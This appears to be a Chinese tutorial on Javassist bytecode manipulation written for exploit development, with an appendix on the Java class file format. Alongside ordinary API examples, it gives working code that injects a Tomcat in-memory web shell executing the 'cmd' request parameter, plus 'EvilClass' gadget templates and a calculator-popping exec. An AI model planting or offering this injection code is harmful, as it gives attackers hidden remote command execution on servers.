构建 Java 字节码
在构建 Java 字节码时,通常会使用 Javassist 和 ASM 这两个依赖库。
二者都是开源的、且用来操作 Java 字节码的库。他们的区别,大致如下表所示:
库 | 速度 | 易用性 | 简要描述 |
---|---|---|---|
Javassist | 慢 | 简单 | 相对于 ASM,Javassist 的开发者并不需要了解虚拟机指令,就能简单的动态改变类的结构,或者动态生成类。 |
ASM | 快 | 困难 | ASM 是基于低级别的字节码操作,可以更加高效地操作字节码。但对开发者要求较高,需要掌握 Class 文件结构等知识。 |
Javassist
Maven 依赖:
1
2
3
4
5
6
<!-- https://mvnrepository.com/artifact/org.javassist/javassist -->
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.30.2-GA</version>
</dependency>
ClassPool 是一个 CtClass 对象的容器,一个 CtClass 必须从中进行获取。以下是简单构建一个类的示例:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
public class Main {
public static void main(String[] args) throws Exception {
// 获取 CtClass 对象的容器 ClassPool,一个 CtClass 必须从中进行获取
ClassPool pool = ClassPool.getDefault();
// 添加类搜索路径
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
// 创建 EvilClass 类
CtClass evilClass = pool.makeClass("EvilClass");
// 为 EvilClass 类,指定父类为从 classpool 中获取到的 AbstractTranslet 类
evilClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
// 为 EvilClass 类,创建静态构造函数
CtConstructor constructor = evilClass.makeClassInitializer();
// 插入代码(字节码)到静态代码块中
constructor.insertBefore("System.out.println(\"Hello Javassist\");");
// 将 EvilClass.class 类文件(字节码文件)写入到当前目录下
evilClass.writeFile("./");
// 将 EvilClass 从 classpool 中删除以释放内存
evilClass.detach();
}
}
注:默认 ClassPool 的类搜索路径,通常包括平台库、扩展库以及由 -classpath 选项或 CLASSPATH 环境变量指定的搜索路径。
反编译出来的 Java 代码:
1
2
3
4
5
6
7
8
9
10
11
12
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
public class EvilClass extends AbstractTranslet
{
static {
System.out.println("Hello Javassist");
}
public EvilClass() {
super();
}
}
通常使用 Java Agent 在向 tomcat 注入内存马时,会获取 org.apache.catalina.core.StandardWrapperValve 类,并向 invoke 方法中添加恶意代码。如下所示:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// transform ...
ClassPool pool = ClassPool.getDefault();
if (classBeingRedefined != null) {
ClassClassPath classPath = new ClassClassPath(classBeingRedefined); // get current class's classpath
pool.insertClassPath(classPath); // add the classpath to classpool
}
CtClass clazz = pool.get("org.apache.catalina.core.StandardWrapperValve"); // get class
CtMethod method = clazz.getDeclaredMethod("invoke");
method.insertBefore("""
javax.servlet.ServletRequest req = request;
javax.servlet.ServletResponse res = response;
String cmd = req.getParameter("cmd");
if (cmd != null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(process.getInputStream(), System.getProperty("sun.jnu.encoding")));
java.util.StringJoiner sj = new java.util.StringJoiner("\\n");
String line = null;
while ((line = bufferedReader.readLine()) != null) {
sj.add(line);
}
bufferedReader.close();
res.getOutputStream().write(sj.toString().getBytes());
res.getOutputStream().flush();
res.getOutputStream().close();
}""");
// ...
clazz.detach();
注:一般为考虑目标系统的正常运行,不会使用
setBody()
替换整个方法的所有代码。
反编译的 Java 代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public final void invoke(final Request request, final Response response) throws IOException, ServletException {
final String parameter = request.getParameter("cmd");
if (parameter != null) {
final BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(parameter).getInputStream(), System.getProperty("sun.jnu.encoding")));
final StringJoiner stringJoiner = new StringJoiner("\n");
String line;
while ((line = bufferedReader.readLine()) != null) {
stringJoiner.add(line);
}
bufferedReader.close();
response.getOutputStream().write(stringJoiner.toString().getBytes());
response.getOutputStream().flush();
response.getOutputStream().close();
}
// ...
}
在来构建字节码时,还需要为代码导入包:
1
2
3
// 导入包:import java.io.IOException
pool.importPackage("com.gitee.starblues.realize.BasePlugin");
pool.importPackage("java.io");
修改 Class 类
在打某些特定的漏洞时,往往需要构造特定的类(需要继承特定子类或实现接口)。这种情况下,往往使用一个已经编写好的类进行修改会比较方便。
但使用该方法有一缺点,在对 jar 包进行混淆后会导致无法查找到类,需要在混淆时,将相关代码进行排除才能保证代码正常运行。
修改字节码文件版本号
经过简单的测试,直接设置为低版本后生成的字节码文件,使用低版本的 JDK 可以加载成功。
1
2
3
4
// 设置目标版本为 JDK 8(major_version = 52)
ClassFile classFile = cc.getClassFile();
classFile.setMajorVersion(ClassFile.JAVA_8);
classFile.setMinorVersion(0);
修改类的包名
1
2
3
4
5
6
7
8
9
10
11
12
13
String packageName = "org.example.template"; // 模版类的包名
String className = "EvilClassTemplate"; // 模版类的类名
String fullClassName = packageName + "." + className;
// 获取模版类
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get(fullClassName);
// 修改包名
// 特别需要注意!!!不要使用 new/package 等关键字创建包名,否则会在包名中添加 p000/p001 等字符。
String newPackageName = "org.example";
String newFullClassName = newPackageName + "." + className;
cc.setName(newFullClassName);
为静态字段赋值
原始的类,源码:
1
2
3
4
5
6
7
8
9
10
11
package org.example.template;
public class EvilClassTemplate {
static String className;
static String bytecodeBase64;
static {
System.out.println(className);
System.out.println(bytecodeBase64);
}
}
如果原来的类,已经对 static field 进行了初始化赋值,将无法正确的修改字段。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
// 获取 className 字段
CtField classNameField = cc.getDeclaredField("className");
CtField bytecodeBase64Field = cc.getDeclaredField("bytecodeBase64");
// 移除字段定义
cc.removeField(classNameField);
cc.removeField(bytecodeBase64Field);
// 使用新的值重新定义字段 static String className;
CtField newClassNameField = new CtField(pool.get("java.lang.String"), "className", cc);
newClassNameField.setModifiers(Modifier.STATIC);
cc.addField(newClassNameField, CtField.Initializer.constant("com.evil"));
// 使用新的值重新定义字段 static String bytecodeBase64;
CtField newField = new CtField(pool.get("java.lang.String"), "bytecodeBase64", cc);
newField.setModifiers(Modifier.STATIC);
cc.addField(newField, CtField.Initializer.constant("base64..."));
添加静态代码块
1
2
3
4
5
6
7
8
9
10
// 获取静态初始化器
CtConstructor staticInitializer = cc.getClassInitializer();
if (staticInitializer == null) {
// 如果没有静态初始化器,创建一个新的静态初始化器
staticInitializer = new CtConstructor(new CtClass[]{}, cc);
cc.addConstructor(staticInitializer);
}
// 添加代码到静态初始化器中
staticInitializer.insertBefore("System.out.println(\"Static Block\");");
添加静态方法
1
2
3
4
5
6
7
// 创建静态方法
CtMethod staticMethod = new CtMethod(CtClass.voidType, "myStaticMethod", new CtClass[]{}, cc);
staticMethod.setModifiers(javassist.Modifier.STATIC);
staticMethod.setBody("{ System.out.println(\"Static method called!\"); }");
// 将静态方法添加到类中
cc.addMethod(staticMethod);
在构造方法中添加代码
1
2
3
4
5
6
7
8
9
10
11
12
// 获取构造方法
CtConstructor[] constructors = cc.getDeclaredConstructors();
if (constructors.length > 0) {
CtConstructor constructor = constructors[0];
// 在构造函数中插入代码
String injectedCode = "{ try {\n" +
" Runtime.getRuntime().exec(\"open -a Calculator\");\n" +
" } catch (IOException e) {\n" +
" e.printStackTrace();\n" +
" } }";
constructor.insertBeforeBody(injectedCode);
}
Jar 包
创建 MF 文件
1
2
3
4
5
6
7
8
// 创建MANIFEST.MF文件
Manifest manifest = new Manifest();
Attributes mainAttributes = manifest.getMainAttributes();
mainAttributes.put(Attributes.Name.MANIFEST_VERSION, "1.0");
mainAttributes.put(Attributes.Name.MAIN_CLASS, packageName + "." + className);
// 获取当前JDK版本
String jdkVersion = System.getProperty("java.version");
mainAttributes.putValue("Build-Jdk", jdkVersion);
生成 jar 包
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// 生成JAR格式的byte[]
byte[] jarBytes = new byte[0];
try (ByteArrayOutputStream baos = new ByteArrayOutputStream(); JarOutputStream jos = new JarOutputStream(baos, manifest)) {
// 创建JAR条目
JarEntry entry = new JarEntry(newPackageName.replace('.', '/') + "/" + className + ".class");
jos.putNextEntry(entry);
// 写入类的字节码到JAR中
jos.write(bytecode);
jos.closeEntry();
// 创建JAR条目 - 添加服务文件
String serviceFileName = "META-INF/services/javax.script.ScriptEngineFactory"; // 服务文件路径
String serviceFileContent = "com.example.AwesomeScriptEngineFactory"; // 服务文件内容
JarEntry serviceEntry = new JarEntry("serviceFileName");
jos.putNextEntry(serviceEntry);
jos.write(serviceFileContent.getBytes());
jos.closeEntry();
jos.finish(); // 结束写入
jarBytes = baos.toByteArray(); // 获取生成的JAR字节数组
// 将 byte[] 写入文件
String filePath = "output.jar";
FileOutputStream fos = new FileOutputStream(filePath);
fos.write(jarBytes);
System.out.println("数据已写入文件: " + filePath);
} catch (Exception e) {
e.printStackTrace();
}
类冻结问题
当执行了 writeFile()、toClass()、toBytecode() 这类输出字节码的方法后,在 javassist 中该 CtClass 对象就会处于冻结状态,在此状态下不允许修改。
注:类冻结是为了警告开发者不要修改已经被 JVM 加载的 class 文件,因为 JVM 不允许重新加载一个类。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
public class Main {
public static void main(String[] args) throws Exception {
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.makeClass("EvilClass");
ctClass.writeFile("./");
ctClass.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
// error: Exception in thread "main" java.lang.RuntimeException: EvilClass class is frozen
}
}
使用如下代码,可以解决该问题:
1
2
3
4
if (ctClass.isFrozen()) {
// 解冻,变为可修改状态
ctClass.defrost();
}
注:当设置
classPool.doPruning = true;
时,表示这个 classpool 中冻结的所有类不允许被解冻。但在某个特定类需要解冻时,仍然可以调用ctClass.stopPruning(true);
表示该类允许被解冻。
ASM
暂时没写,还没学明白。
Maven 依赖:
1
2
3
4
5
6
<!-- https://mvnrepository.com/artifact/org.ow2.asm/asm -->
<dependency>
<groupId>org.ow2.asm</groupId>
<artifactId>asm</artifactId>
<version>9.6</version>
</dependency>
附录 - The class File Format
详情见:https://docs.oracle.com/javase/specs/jvms/se8/html/jvms-4.html
.class
文件都遵循 ClassFile 结构:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
ClassFile {
u4 magic;
u2 minor_version;
u2 major_version;
u2 constant_pool_count;
cp_info constant_pool[constant_pool_count-1];
u2 access_flags;
u2 this_class;
u2 super_class;
u2 interfaces_count;
u2 interfaces[interfaces_count];
u2 fields_count;
field_info fields[fields_count];
u2 methods_count;
method_info methods[methods_count];
u2 attributes_count;
attribute_info attributes[attributes_count];
}
类型 | 描述 | 备注 |
---|---|---|
u4 | magic | 魔数:0xCAFEBABE |
u2 | minor_version | 小版本号 |
u2 | major_version | 主版本号 |
u2 | constant_pool_count | 常量池大小,从 1 开始 |
cp_info | constant_pool[constant_pool_count - 1] | 常量池信息 |
u2 | access_flags | 访问标志 |
u2 | this_class | 类索引(指向常量池) |
u2 | super_class | 父类索引(指向常量池) |
u2 | interfaces_count | 接口个数 |
u2 | interfaces[interfaces_count] | 接口类索引信息(指向常量池) |
u2 | fields_count | 字段数 |
field_info | fields[fields_count] | 字段表信息 |
u2 | methods_count | 方法数(默认有构造方法<init>:()V ,所以该项至少为 1) |
method_info | methods[methods_count] | 方法表信息 |
u2 | attributes_count | 属性个数 |
attribute_info | attributes[attributes_count] | 属性表信息 |
u1: 表示占用 1 个字节
u2: 表示占用 2 个字节
u4: 表示占用 4 个字节
u8: 表示占用 8 个字节
cp_info
、field_info
、method_info
、attribute_info
表示较为复杂的结构,它们也是由 u1、u2、u4 和 u8 组成
cp_info 结构:
1
2
3
4
cp_info {
u1 tag;
u1 info[];
}
相应的,在.class 文件当中,定义的字段,要遵循 field_info 的结构。
1
2
3
4
5
6
7
field_info {
u2 access_flags;
u2 name_index;
u2 descriptor_index;
u2 attributes_count;
attribute_info attributes[attributes_count];
}
同样的,在.class 文件当中,定义的方法,要遵循 method_info 的结构。
1
2
3
4
5
6
7
method_info {
u2 access_flags;
u2 name_index;
u2 descriptor_index;
u2 attributes_count;
attribute_info attributes[attributes_count];
}
在 method_info 结构中,方法当中方法体的代码,是存在于 Code 属性结构中,其结构如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Code_attribute {
u2 attribute_name_index;
u4 attribute_length;
u2 max_stack;
u2 max_locals;
u4 code_length;
u1 code[code_length];
u2 exception_table_length;
{ u2 start_pc;
u2 end_pc;
u2 handler_pc;
u2 catch_type;
} exception_table[exception_table_length];
u2 attributes_count;
attribute_info attributes[attributes_count];
}